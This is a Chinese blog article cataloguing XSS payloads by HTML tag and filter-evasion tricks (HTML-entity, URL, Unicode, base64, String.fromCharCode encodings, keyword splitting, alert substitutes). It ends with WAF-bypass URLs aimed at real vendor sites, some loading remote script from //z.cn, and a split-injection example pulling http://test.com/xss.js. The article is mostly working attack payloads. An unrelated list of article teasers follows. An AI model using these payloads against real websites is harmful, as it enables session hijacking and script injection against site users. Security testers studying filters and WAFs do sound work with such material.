当前位置: 首页 > article >正文

XSS 常用标签及绕过姿势总结

XSS 常用标签及绕过姿势总结

一、xss 常见标签语句

0x01. 标签

<a href="javascript:alert(1)">test</a>
<a href="x" onfocus="alert('xss');" autofocus="">xss</a>
<a href="x" onclick=eval("alert('xss');")>xss</a>
<a href="x" onmouseover="alert('xss');">xss</a>
<a href="x" onmouseout="alert('xss');">xss</a>
  • 0x02. 标签

    <img src=x onerror="alert(1)">
    <img src=x onerror=eval("alert(1)")>
    <img src=1 onmouseover="alert('xss');">
    <img src=1 onmouseout="alert('xss');">
    <img src=1 onclick="alert('xss');">
    
    • 0x03. 标签

      <iframe src="javascript:alert(1)">test</iframe>
      <iframe onload="alert(document.cookie)"></iframe>
      <iframe onload="alert('xss');"></iframe>
      <iframe onload="base64,YWxlcnQoJ3hzcycpOw=="></iframe>
      <iframe onmouseover="alert('xss');"></iframe>
      <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
      

        0x04. 标签

        <audio src=1 onerror=alert(1)>
        <audio><source src="x" onerror="alert('xss');"></audio>
        <audio controls onfocus=eval("alert('xss');") autofocus=""></audio>
        <audio controls onmouseover="alert('xss');"><source src="x"></audio>
        

          0x05. 标签

          <video src=x onerror=alert(1)>
          <video><source onerror="alert('xss');"></video>
          <video controls onmouseover="alert('xss');"></video>
          <video controls onfocus="alert('xss');" autofocus=""></video>
          <video controls onclick="alert('xss');"></video>
          
          • 0x06.

            <svg onload=javascript:alert(1)>
            <svg onload="alert('xss');"></svg>
            

              0x07. 标签

              <button onclick=alert(1)>
              <button onfocus="alert('xss');" autofocus="">xss</button>
              <button onclick="alert('xss');">xss</button>
              <button onmouseover="alert('xss');">xss</button>
              <button onmouseout="alert('xss');">xss</button>
              <button onmouseup="alert('xss');">xss</button>
              <button onmousedown="alert('xss');"></button>
              

                0x08.

                标签

                这个需要借助url编码来实现绕过
                

          原代码:
          <div onmouseover=alert(1)>DIV</div>
          经过url编码:
          <div onmouseover%3d‘alert%26lpar%3b1%26rpar%3b’>DIV<%2fdiv>

            0x09. 标签
            这个需要借助 data 伪协议和 base64 编码来实现绕过

            <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
            

              0x10.

              <script>alert('xss')</script>
              <script>alert(/xss/)</script>
              <script>alert(123)</script>
              

                0x11.

                标签

                <p onclick="alert('xss');">xss</p>
                <p onmouseover="alert('xss');">xss</p>
                <p onmouseout="alert('xss');">xss</p>
                <p onmouseup="alert('xss');">xss</p>
                

                  0x12. 标签

                  <input onclick="alert('xss');">
                  <input onfocus="alert('xss');">
                  <input onfocus="alert('xss');" autofocus="">
                  <input onmouseover="alert('xss');">
                  <input type="text" onkeydown="alert('xss');"></input>
                  <input type="text" onkeypress="alert('xss');"></input>
                  <input type="text" onkeydown="alert('xss');"></input>
                  

                    0x13. 标签

                    <details ontoggle="alert('xss');"></details>
                    <details ontoggle="alert('xss');" open=""></details>
                    

                      0x14. 标签

                      <select onfocus="alert('xss');" autofocus></select>
                      <select onmouseover="alert('xss');"></select>
                      <select onclick=eval("alert('xss');")></select>
                      

                        0x15. 标签

                        <form method="x" action="x" onmouseover="alert('xss');"><input type=submit></form>
                        <form method="x" action="x" onmouseout="alert('xss');"><input type=submit></form>
                        <form method="x" action="x" onmouseup="alert('xss');"><input type=submit></form>
                        

                          0x16. 标签

                          <body onload="alert('xss');"></body>
                          

                            二、xss 常见绕过

                            编码绕过
                            浏览器对 XSS 代码的解析顺序为:HTML解码 —— URL解码 —— JS解码(只支持UNICODE)。

                            0x01. html 实体编码
                            当可控点为单个标签属性时,可以使用 html 实体编码。

                            <a href="可控点">test</a>
                            

                            <iframe src=“可控点”>test<iframe>
                            <img src=x onerror=“可控点”>
                            Payload

                            <a href=“javascript:alert(1)”>test</a>
                            十进制

                            <a href=“&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;”>test</a>
                            十六进制

                            <a href=“&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;”>test</a>

                            可以不带分号

                            <a href=“&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x29”>test</a>

                            可以填充0

                            <a href=“&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029”>test</a>

                            • 0x02. url 编码

                              当注入点存在 href 或者 src 属性时,可以使用 url 编码。
                              

                            <a href=“可控点”>test</a>

                            <iframe src=“可控点”>test</iframe>

                            Payload

                            <a href=“javascript:alert(1)”>test</a>

                            <iframe src=“javascript:alert(1)”>test</iframe>
                            注:url 解析过程中,不能对协议类型进行任何的编码操作,所以 javascript: 协议头需要保留。

                            <a href=“javascript:%61%6c%65%72%74%28%31%29”>test</a>

                            <iframe src=“javascript:%61%6c%65%72%74%28%31%29”>test</iframe>
                            可以二次编码

                            <a href=“javascript:%2561%256c%2565%2572%2574%2528%2531%2529”>test</a>

                            <iframe src=“javascript:%2561%256c%2565%2572%2574%2528%2531%2529”>test</iframe>

                            • 0x03. js 编码

                              解析的时候字符或者字符串仅会被解码为字符串文本或者标识符名称,例如 js 解析器工作的时候将\u0061\u006c\u0065\u0072\u0074进行解码后为alert,而alert是一个有效的标识符名称,它是能被正常解析的。

                              但是像圆括号、双引号、单引号等等这些字符就只能被当作普通的文本,从而导致无法执行。

                              由于 js 是最后进行解析的,所以如果混合编码,需要先使用 js 编码再进行 url 编码或者 html 实体编码。

                              js 编码策略:

                              “” 加上三个八进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\074”

                              “\x” 加上两个十六进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\x3c”

                              “\u” 加上四个十六进制数字,如果个数不够,前面补0,例如 “<” 编码为 “\u003c”

                              对于一些控制字符,使用特殊的 C 类型的转义风格(例如 \n 和 \r)

                              <img src=x onerror="可控点">
                              

                            <input onfocus=location=“可控点” autofocus>

                              Payload

                              <img src=x onerror="alert(1)">
                              

                              <input onfocus=location=“alert(1)” autofocus>

                                Unicode 编码

                                <img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">
                                

                                <input onfocus=location=“javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029” autofocus>

                                  注:

                                  Unicode 编码时,只能对有效的标识符进行编码,否则非标识符解码后不能解析执行。例如 javascript:alert(1) ,进行 Unicode 编码时,只能对 alert 和 “1” 进行编码,框号编码后会被当成文本字符,不能执行。

                                  ascii 八进制和十六进制编码使用时需要 eval、setTimeout等函数传递变量,并且可以对整个传递参数进行编码。例如 eval(“alert(1)”),可以对 “alert(1)” 整个进行八进制、十六进制或者 Unicode 编码(双引号不参与)。

                                  八进制和十六进制

                                  setTimeout() 是属于 window 的方法,该方法用于在指定的毫秒数后调用函数或计算表达式。

                                  语法:setTimeout(要执行的代码, 等待的毫秒数)

                                  setTimeout(JavaScript 函数, 等待的毫秒数)

                                  1.<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
                                  2.<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
                                  3.<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
                                  4.<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
                                  5.<script>eval("\141\154\145\162\164\050\061\051")</script>
                                  6.<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
                                  

                                    0x04. 混合编码

                                    <a href="可控点">test</a>
                                    

                                      Payload

                                      <a href="javascript:alert(1)">test</a>
                                      

                                        html 编码

                                        <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">test</a>
                                        

                                          Unicode 编码

                                          <a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>
                                          

                                            注:Unicode 编码不能对括号使用

                                            url 编码

                                            <a href="javascript:%61%6c%65%72%74%28%31%29">test</a>
                                            

                                              由于浏览器对 xss 代码的解析过程是:html解析 —— url解析 —— js解析,所以可以编码方式进行组合绕过。

                                              1. 原代码
                                              <a href="javascript:alert(1)">test</a>
                                              
                                                1. 对alert进行JS编码(unicode编码)
                                                <a href="javascript:\u0061\u006c\u0065\u0072\u0074(1)">test</a>
                                                
                                                  1. 对href标签中的\u0061\u006c\u0065\u0072\u0074进行URL编码
                                                  <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)">test</a>
                                                  
                                                    1. 对href标签中的javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)进行HTML编码:
                                                    <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x29;">test</a>
                                                    

                                                      注:href、src等加载url的属性可以使用三种混合编码,on事件可以使用html实体编码和js编码混合,但url编码在on事件中不会解析。

                                                      0x05. base64 编码

                                                      base64 编码通常需要使用到 data 伪协议。

                                                      data 协议使用方法:data:资源类型;编码,内容

                                                      base64编码内容为

                                                      <script>alert(/xss/)</script>
                                                      

                                                        PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=
                                                        通常与 base64 编码配合 data 协议的标签有 、、

                                                        1. 标签

                                                        <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
                                                        

                                                          2. 标签
                                                          <a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=">test</a> (新版浏览器不支持)
                                                          3. 标签

                                                          <iframe src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></iframe>
                                                          

                                                            4. 标签

                                                            <embed src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></embed>
                                                            

                                                              atob 函数

                                                              atob() 方法用于解码使用 base-64 编码的字符串。

                                                              语法:window.atob(encodedStr)(encodedStr: 必需,是一个通过 btoa() 方法编码的字符串)

                                                              1.<a href=javascript:eval(atob('YWxlcnQoMSk='))>test</a>
                                                              2.<a href=javascript:eval(window.atob('YWxlcnQoMSk='))>test</a>
                                                              3.<a href=javascript:eval(window['atob']('YWxlcnQoMSk='))>test</a>
                                                              4.<img src=x onmouseover="eval(window.atob('YWxlcnQoMSk='))">
                                                              5.<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
                                                              6.<iframe src="javascript:eval(window['atob']('YWxlcnQoMSk='))"></iframe>
                                                              

                                                                0x06. ascii 编码

                                                                ascii 编码一般配合String.fromCharCode使用。

                                                                alert(1)
                                                                十进制:97, 108, 101, 114, 116, 40, 49, 41
                                                                十六进制:0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29

                                                                十进制

                                                                <a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>test</a>
                                                                

                                                                  十六进制

                                                                  <a href='javascript:eval(String.fromCharCode(0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29))'>test</a>
                                                                  

                                                                    空格过滤绕过

                                                                    <html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>
                                                                    

                                                                      A位置可填充 /,/123/,%09,%0A,%0C,%0D,%20 B位置可填充 %09,%0A,%0C,%0D,%20 C位置可填充 %0B,/**/,如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20 D位置可填充 %09,%0A,%0C,%0D,%20,//,>

                                                                      圆括号过滤绕过
                                                                      0x01. 反引号替换

                                                                      <script>alert`1`</script>
                                                                      

                                                                        0x02. throw 绕过

                                                                        <video src onerror="javascript:window.οnerrοr=alert;throw 1">
                                                                        <svg/onload="window.οnerrοr=eval;throw'=alert\x281\x29';">
                                                                        

                                                                          单引号过滤绕过
                                                                          0x01. 斜杠替换

                                                                          <script>alert(/xss/)</script>
                                                                          

                                                                            0x02. 反引号替换

                                                                            <script>alert(`xss`)</script>
                                                                            

                                                                              alert 过滤绕过
                                                                              0x01. prompt 替换

                                                                              <script>prompt(/xss/)</script>
                                                                              

                                                                                0x02. confirm 替换

                                                                                <script>confirm(/xss/)</script>
                                                                                

                                                                                  0x03. console.log 替换

                                                                                  <script>console.log(3)</script>
                                                                                  

                                                                                    0x04. document.write 替换

                                                                                    <script>document.write(1)</script>
                                                                                    

                                                                                      0x05. base64 绕过

                                                                                      <img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
                                                                                      <img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">
                                                                                      

                                                                                        关键词置空绕过
                                                                                        0x01. 大小写绕过

                                                                                        <script>alert(/xss/)</script>
                                                                                        

                                                                                          可以转换为

                                                                                          <ScRiPt>AlErT(/xss/)</sCrIpT>
                                                                                          

                                                                                            0x02. 嵌套绕过
                                                                                            嵌套突破

                                                                                            <script>alert(/xss/)</script>
                                                                                            

                                                                                              可以转换为

                                                                                              <sc<script>ript>alert(/xss/)</sc</script>ript>
                                                                                              

                                                                                                函数拼接
                                                                                                0x01. eval

                                                                                                <img src="x"onerror="eval('al'+'ert(1)')">
                                                                                                

                                                                                                  0x02. top

                                                                                                  <img src="x" onerror="top['al'+'ert'](1)">
                                                                                                  

                                                                                                    0x03. window

                                                                                                    <img src="x" onerror="window['al'+'ert'](1)">
                                                                                                    

                                                                                                      0x04. self

                                                                                                      <img src="x" onerror="self[`al`+`ert`](1)">
                                                                                                      

                                                                                                        0x05. parent

                                                                                                        <img src="x" onerror="parent[`al`+`ert`](1)">
                                                                                                        

                                                                                                          0x06. frames

                                                                                                          <img src="x" onerror="frames[`al`+`ert`](1)">
                                                                                                          

                                                                                                            0x07. 常用函数

                                                                                                            <img src="x" onerror="eval(alert(1))">
                                                                                                            <img src="x" onerror="open(alert(1))">
                                                                                                            <img src="x" onerror="document.write(alert(1))">
                                                                                                            <img src="x" onerror="setTimeout(alert(1))">
                                                                                                            <img src="x" onerror="setInterval(alert(1))">
                                                                                                            <img src="x" onerror="Set.constructor(alert(1))">
                                                                                                            <img src="x" onerror="Map.constructor(alert(1))">
                                                                                                            <img src="x" onerror="Array.constructor(alert(1))">
                                                                                                            <img src="x" onerror="WeakSet.constructor(alert(1))">
                                                                                                            <img src="x" onerror="constructor.constructor(alert(1))">
                                                                                                            <img src="x" onerror="[1].map(alert(1))">
                                                                                                            <img src="x" onerror="[1].find(alert(1))">
                                                                                                            <img src="x" onerror="[1].every(alert(1))">
                                                                                                            <img src="x" onerror="[1].filter(alert(1))">
                                                                                                            <img src="x" onerror="[1].forEach(alert(1))">
                                                                                                            <img src="x" onerror="[1].findIndex(alert(1))">
                                                                                                            
                                                                                                            • 赋值拼接

                                                                                                              <img src onerror=_=alert,_(1)>
                                                                                                              <img src x=al y=ert onerror=top[x+y](1)>
                                                                                                              <img src onerror=top[a='al',b='ev',b+a]('alert(1)')>
                                                                                                              <img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>
                                                                                                              

                                                                                                                火狐IE专属

                                                                                                                <marquee onstart=alert(1)>
                                                                                                                

                                                                                                                  拆分法
                                                                                                                  当 Web 应用程序对目标用户的输入长度进行了限制时,这时无法注入较长的xss攻击向量,但是特定情况下,这种限制可以通过拆分法注入的方式进行绕过。

                                                                                                                  <script>a='document.write("'</script>
                                                                                                                  <script>a=a+'<script src=ht'</script>
                                                                                                                  <script>a=a+'tp://test.com/xs'</script>
                                                                                                                  <script>a=a+'s.js></script>")'</script>
                                                                                                                  <script>eval(a)</script>
                                                                                                                  
                                                                                                                  • 通过上面的拆分法可以拼凑出下面完整的攻击向量:

                                                                                                                    document.write(“”)

                                                                                                                    三、绕过 waf 拦截

                                                                                                                    安全狗

                                                                                                                    http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=top[`al`%2B`ert`](1);>
                                                                                                                    http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=appendChild(createElement("script")).src="//z.cn">
                                                                                                                    

                                                                                                                      D盾

                                                                                                                      http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[`al`%2B`ert`](1);>
                                                                                                                      http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>
                                                                                                                      

                                                                                                                        云锁+奇安信 waf

                                                                                                                        http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[`al`%2B`ert`](1);>
                                                                                                                        http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>
                                                                                                                        

                                                                                                                      相关文章:

                                                                                                                      XSS 常用标签及绕过姿势总结

                                                                                                                      XSS 常用标签及绕过姿势总结 一、xss 常见标签语句 0x01. 标签 <a href"javascript:alert(1)">test</a> <a href"x" onfocus"alert(xss);" autofocus"">xss</a> <a href"x" onclickeval(&quo…...

                                                                                                                      Springboot中添加原生websocket支持

                                                                                                                      1、添加配置 Configuration EnableWebSocket public class WebSocketConfig implements WebSocketConfigurer {Overridepublic void registerWebSocketHandlers(WebSocketHandlerRegistry registry) {// 注册WebSocket处理器&#xff0c;并允许所有来源的连接&#xff08;在生…...

                                                                                                                      财务主题数据分析-企业盈利能力分析

                                                                                                                      企业盈利能力数据主要体现在财务三张表中的利润表里面&#xff0c;盈利能力需要重点需要关注的指标有&#xff1a;毛利率、净利率、净利润增长率、营业成本增长率等&#xff1b; 接下来我们分析一下某上市公司披露的财务数据&#xff0c;看看该企业盈利能力如何&#xff1a; …...

                                                                                                                      你需要了解的远程登录协议——Telnet

                                                                                                                      你需要了解的远程登录协议——Telnet 一. 什么是Telnet&#xff1f;二. Telnet的优缺点三. Telnet vs SSH&#xff1a;哪一个更适合&#xff1f;四. Telnet的应用场景 前言 点个免费的赞和关注&#xff0c;有错误的地方请指出&#xff0c;看个人主页有惊喜。 作者&#xff1a;神…...

                                                                                                                      Git -> Git配置密钥对,并查看公钥

                                                                                                                      Git密钥对的核心作用 私钥 (id_rsa) 你的数字身份证&#xff1a;存放在本机 ~/.ssh 目录下必须严格保密&#xff08;类似银行卡密码&#xff09;&#xff0c;不可泄露或共享用于 解密 来自服务器的加密信息 公钥 (id_rsa.pub) 可公开的验证锁&#xff1a;需要上传到 Git 服…...

                                                                                                                      web逆向企鹅音乐,下载歌手歌单音乐

                                                                                                                      声明&#xff1a; 该文章为学习使用&#xff0c;严禁用于商业用途和非法用途&#xff0c;违者后果自负&#xff0c;由此产生的一切后果均与作者无关 下载资源链接&#xff1a;https://download.csdn.net/download/randy521520/90374039 一、找出需要加密的参数 1.js运行 atob…...

                                                                                                                      stm32 lwip tcp服务端频繁接收连接失效问题解决(tcp_recved)

                                                                                                                      一、问题描述 最近用stmf429单片机作为TCP服务端遇到一个问题&#xff0c;就是客户端特别频繁的发送消息&#xff0c;过一段时间以后&#xff0c;客户端的请求不再被客户端接收到&#xff0c;而且服务器端监控的掉线回调函数也不会被调用&#xff0c;好像这个连接就凭空的消失…...

                                                                                                                      Python Pandas(7):Pandas 数据清洗

                                                                                                                      数据清洗是对一些没有用的数据进行处理的过程。很多数据集存在数据缺失、数据格式错误、错误数据或重复数据的情况&#xff0c;如果要使数据分析更加准确&#xff0c;就需要对这些没有用的数据进行处理。数据清洗与预处理的常见步骤&#xff1a; 缺失值处理&#xff1a;识别并…...

                                                                                                                      【重构谷粒商城】06:Maven快速入门教程

                                                                                                                      重构谷粒商城06——Maven快速入门教程 前言&#xff1a;这个系列将使用最前沿的cursor作为辅助编程工具&#xff0c;来快速开发一些基础的编程项目。目的是为了在真实项目中&#xff0c;帮助初级程序员快速进阶&#xff0c;以最快的速度&#xff0c;效率&#xff0c;快速进阶到…...

                                                                                                                      Elasticsearch:同义词在 RAG 中重要吗?

                                                                                                                      作者&#xff1a;来自 Elastic Jeffrey Rengifo 及 Toms Mura 探索 RAG 应用程序中 Elasticsearch 同义词的功能。 同义词允许我们使用具有相同含义的不同词语在文档中搜索&#xff0c;以确保用户无论使用什么确切的词语都能找到他们所寻找的内容。你可能会认为&#xff0c;由于…...

                                                                                                                      React 低代码项目:组件设计

                                                                                                                      React 低代码项目&#xff1a;组件设计 Date: February 6, 2025 React表单组件 **目标&#xff1a;**使用 Ant Design 表单组件&#xff0c;开发登录、注册、搜索功能 内容&#xff1a; 使用 React 表单组件、受控组件使用 Ant Design 表单组件使用 表单组件的校验和错误提…...

                                                                                                                      从0到1的回溯算法学习

                                                                                                                      回溯算法 前言这个算法能帮我们做啥算法模版力扣例题&#xff08; 以下所有题目代码都经过力扣认证 &#xff09;形式一 元素无重不可复选46.全排列思路详解代码 77.组合思路详解代码 78.子集思路详解代码 形式二 元素可重不可复选思考&#xff08;deepseek&#xff09;核心思想…...

                                                                                                                      24、深度学习-自学之路-卷积神经网络

                                                                                                                      一、你怎么理解卷积神经网络呢&#xff0c;我的理解是当你看一个东西的时候&#xff0c;你的眼睛距离图片越近&#xff0c;你看到的东西就越清晰&#xff0c;但是如果你看到的图片只是整个物体的一小部分&#xff0c;那么你将不知道你看到的物品是什么&#xff0c;因为关注整体…...

                                                                                                                      AVL树:高效平衡的二叉搜索树

                                                                                                                      &#x1f31f; 快来参与讨论&#x1f4ac;&#xff0c;点赞&#x1f44d;、收藏⭐、分享&#x1f4e4;&#xff0c;共创活力社区。&#x1f31f; 引言&#x1f914; 在数据结构的奇妙世界里&#xff0c;二叉搜索树&#xff08;BST&#xff09;原本是查找数据的好帮手。想象一下…...

                                                                                                                      RHCA练习5:配置mysql8.0使用PXC实现高可用

                                                                                                                      准备4台CentOS7的虚拟机&#xff08;CentOS7-1、CentOS7-2、CentOS7-3、CentOS7-4&#xff09; 备份原yum源的配置&#xff1a; mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup 更换阿里云镜像YUM源&#xff1a; curl -o /etc/yum.repos.…...

                                                                                                                      若输入超过 5 位数个时,推荐使用 scanf 输入数据。

                                                                                                                      【知识点】 在 C 中&#xff0c;当需要处理超过 5 位数个输入时&#xff0c;推荐使用 scanf 而不是 cin 输入数据。 这是因为 scanf 通常比 cin 更快。 另外&#xff0c;若整数超过 10 位&#xff0c;选择用 long long 型&#xff0c;而不是 int 型。 【参考文献】 https://b…...

                                                                                                                      Java 大视界 -- 边缘计算与 Java 大数据协同发展的前景与挑战(85)

                                                                                                                      &#x1f496;亲爱的朋友们&#xff0c;热烈欢迎来到 青云交的博客&#xff01;能与诸位在此相逢&#xff0c;我倍感荣幸。在这飞速更迭的时代&#xff0c;我们都渴望一方心灵净土&#xff0c;而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识&#xff0c;也…...

                                                                                                                      Android 原生层SurfaceView截屏

                                                                                                                      背景&#xff1a;flutter嵌入原生view时&#xff0c;原生view使用的surfaveview&#xff0c;导致下面两种方法无法正常使用。 导致flutter无法通过id找到RenderRepaintBoundary的toImage来抓取widget&#xff0c;原生层无法通过view去获取Bitmap 方案&#xff1a;使用PixelCopy…...

                                                                                                                      机器学习 - 理论和定理

                                                                                                                      在机器学习中&#xff0c;有一些非常有名的理论或定理&#xff0c;对理解机器学习的内在特性非常有帮助。本文列出机器学习中常用的理论和定理&#xff0c;并举出对应的举例子加以深化理解&#xff0c;有些理论比较抽象&#xff0c;我们可以先记录下来&#xff0c;慢慢啃&#…...

                                                                                                                      2025.2.11——一、[极客大挑战 2019]PHP wakeup绕过|备份文件|代码审计

                                                                                                                      题目来源&#xff1a;BUUCTF [极客大挑战 2019]PHP 目录 一、打开靶机&#xff0c;整理信息 二、解题思路 step 1&#xff1a;目录扫描、爆破 step 2&#xff1a;代码审计 1.index.php 2.class.php 3.flag.php step 3&#xff1a;绕过__wakeup重置 ​编辑 三、小结…...

                                                                                                                      读取本地excel删除第一行,并生成List数组

                                                                                                                      在 pom.xml 里添加如下依赖&#xff1a; <dependencies><dependency><groupId>org.apache.poi</groupId><artifactId>poi</artifactId><version>5.2.3</version></dependency><dependency><groupId>org.ap…...

                                                                                                                      Vivado生成edif网表及其使用

                                                                                                                      介绍如何在Vivado中将模块设为顶层&#xff0c;并生成相应的网表文件&#xff08;Verilog文件和edif文件&#xff09;&#xff0c;该过程适用于需要将一个模块作为顶层设计进行综合&#xff0c;并生成用于其他工程中的网表文件的情况。 例如要将fpga_top模块制作成网表给其它工…...

                                                                                                                      JAVA生产环境(IDEA)排查死锁

                                                                                                                      使用 IntelliJ IDEA 排查死锁 IntelliJ IDEA 提供了强大的工具来帮助开发者排查死锁问题。以下是具体的排查步骤&#xff1a; 1. 编写并运行代码 首先&#xff0c;我们编写一个可能导致死锁的示例代码&#xff1a; public class DeadlockExample {private static final Obj…...

                                                                                                                      Mac 下使用多版本 Node

                                                                                                                      一、导读 使用 n 实现 Mac 下 Nodejs 的多版本切换&#xff0c;需要先安装一个版本的 Node.js&#xff0c;然后使用 npm 安装 n&#xff0c;再通过 n 管理 node 的多版本切换。 二、使用 npm 全局安装 n sudo npm install -g n 三、根据需求安装指定版本的 node sudo -E n…...

                                                                                                                      AI学习记录 - 最简单的专家模型 MOE

                                                                                                                      代码 import torch import torch.nn as nn import torch.nn.functional as F from typing import Tupleclass BasicExpert(nn.Module):# 一个 Expert 可以是一个最简单的&#xff0c; linear 层即可# 也可以是 MLP 层# 也可以是 更复杂的 MLP 层&#xff08;active function 设…...

                                                                                                                      【2025深度学习系列专栏大纲:深入探索与实践深度学习】

                                                                                                                      第一部分:深度学习基础篇 第1章:深度学习概览 1.1 深度学习的历史背景与发展轨迹 1.2 深度学习与机器学习、传统人工智能的区别与联系 1.3 深度学习的核心组件与概念解析 神经网络基础 激活函数的作用与类型 损失函数与优化算法的选择 1.4 深度学习框架简介与选择建议 第2…...

                                                                                                                      DDD聚合在 ASP.NET Core中的实现

                                                                                                                      目录 工作单元&#xff08;UnitOfWork&#xff09;的实现 聚合与聚合根的实现 实现 聚合与DbContext的关系 区分聚合根实体和其他实体 跨表查询 实现实体不要面向数据库建模 工作单元&#xff08;UnitOfWork&#xff09;的实现 EFCore的DbContext&#xff1a;跟踪对象状…...

                                                                                                                      数据治理双证通关经验分享 | CDGA/CDGP备考全指南

                                                                                                                      历经1个月多的系统准备&#xff0c;本人于2024年顺利通过DAMA China的CDGA&#xff08;数据治理工程师&#xff09;和CDGP&#xff08;数据治理专家&#xff09;双认证。现将备考经验与资源体系化整理&#xff0c;助力从业者高效通关。 &#x1f31f; 认证价值与政策背景 根据…...

                                                                                                                      Aitken 逐次线性插值

                                                                                                                      Aitken 逐次线性插值 用 Lagrange 插值多项式 L n ( x ) L_n(x) Ln​(x)计算函数近似值时&#xff0c;如需增加插值节点&#xff0c;那么原来算出的数据均不能利用&#xff0c;必须重新计算。为克服这个缺点&#xff0c;可用逐次线性插值方法求得高次插值。 令 I i 1 , i 2…...

                                                                                                                      亚信安全正式接入DeepSeek

                                                                                                                      亚信安全致力于“数据驱动、AI原生”战略&#xff0c;早在2024年5月&#xff0c;推出了“信立方”安全大模型、安全MaaS平台和一系列安全智能体&#xff0c;为网络安全运营、网络安全检测提供AI技术能力。自2024年12月DeepSeek-V3发布以来&#xff0c;亚信安全人工智能实验室利…...